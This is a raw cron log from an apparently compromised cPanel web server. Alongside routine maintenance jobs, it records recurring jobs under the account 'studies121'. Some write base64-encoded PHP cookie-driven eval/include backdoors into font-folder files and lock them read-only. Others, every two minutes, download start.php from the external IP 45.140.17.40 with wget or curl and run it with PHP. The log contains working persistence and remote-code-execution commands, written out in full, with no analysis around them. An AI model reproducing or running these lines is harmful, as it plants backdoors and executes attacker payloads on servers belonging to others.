Sep 12 05:42:01 ip-184-168-122-23 CROND[5518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:42:01 ip-184-168-122-23 CROND[5520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:42:01 ip-184-168-122-23 CROND[5523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:42:01 ip-184-168-122-23 CROND[5524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:42:01 ip-184-168-122-23 CROND[5525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:43:01 ip-184-168-122-23 CROND[5647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:43:01 ip-184-168-122-23 CROND[5650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:43:01 ip-184-168-122-23 CROND[5649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:43:01 ip-184-168-122-23 CROND[5651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:44:02 ip-184-168-122-23 CROND[5742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:44:02 ip-184-168-122-23 CROND[5741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:44:02 ip-184-168-122-23 CROND[5745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:44:02 ip-184-168-122-23 CROND[5748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:44:02 ip-184-168-122-23 CROND[5749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:45:01 ip-184-168-122-23 CROND[5863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:45:01 ip-184-168-122-23 CROND[5866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:45:01 ip-184-168-122-23 CROND[5865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:45:01 ip-184-168-122-23 CROND[5867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:45:01 ip-184-168-122-23 CROND[5870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:45:01 ip-184-168-122-23 CROND[5868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:46:01 ip-184-168-122-23 CROND[6093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:46:01 ip-184-168-122-23 CROND[6097]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 05:46:01 ip-184-168-122-23 CROND[6098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:46:01 ip-184-168-122-23 CROND[6095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:46:01 ip-184-168-122-23 CROND[6100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:46:01 ip-184-168-122-23 CROND[6099]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 05:46:01 ip-184-168-122-23 CROND[6096]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:47:01 ip-184-168-122-23 CROND[6191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:47:01 ip-184-168-122-23 CROND[6193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:47:01 ip-184-168-122-23 CROND[6195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:47:01 ip-184-168-122-23 CROND[6194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:48:02 ip-184-168-122-23 CROND[6279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:48:02 ip-184-168-122-23 CROND[6281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:48:02 ip-184-168-122-23 CROND[6282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:48:02 ip-184-168-122-23 CROND[6284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:48:02 ip-184-168-122-23 CROND[6283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:49:01 ip-184-168-122-23 CROND[6362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:49:01 ip-184-168-122-23 CROND[6364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:49:01 ip-184-168-122-23 CROND[6365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:49:01 ip-184-168-122-23 CROND[6367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:50:01 ip-184-168-122-23 CROND[6456]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:50:01 ip-184-168-122-23 CROND[6462]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 05:50:01 ip-184-168-122-23 CROND[6460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:50:01 ip-184-168-122-23 CROND[6461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:50:01 ip-184-168-122-23 CROND[6459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:50:01 ip-184-168-122-23 CROND[6467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:50:01 ip-184-168-122-23 CROND[6470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:50:01 ip-184-168-122-23 CROND[6468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:50:01 ip-184-168-122-23 CROND[6469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:51:01 ip-184-168-122-23 CROND[6641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:51:01 ip-184-168-122-23 CROND[6642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:51:01 ip-184-168-122-23 CROND[6644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:51:01 ip-184-168-122-23 CROND[6646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:52:01 ip-184-168-122-23 CROND[6737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:52:01 ip-184-168-122-23 CROND[6739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:52:01 ip-184-168-122-23 CROND[6740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:52:01 ip-184-168-122-23 CROND[6741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:52:01 ip-184-168-122-23 CROND[6742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:53:01 ip-184-168-122-23 CROND[6827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:53:01 ip-184-168-122-23 CROND[6830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:53:01 ip-184-168-122-23 CROND[6829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:53:01 ip-184-168-122-23 CROND[6831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:54:01 ip-184-168-122-23 CROND[6969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:54:01 ip-184-168-122-23 CROND[6970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
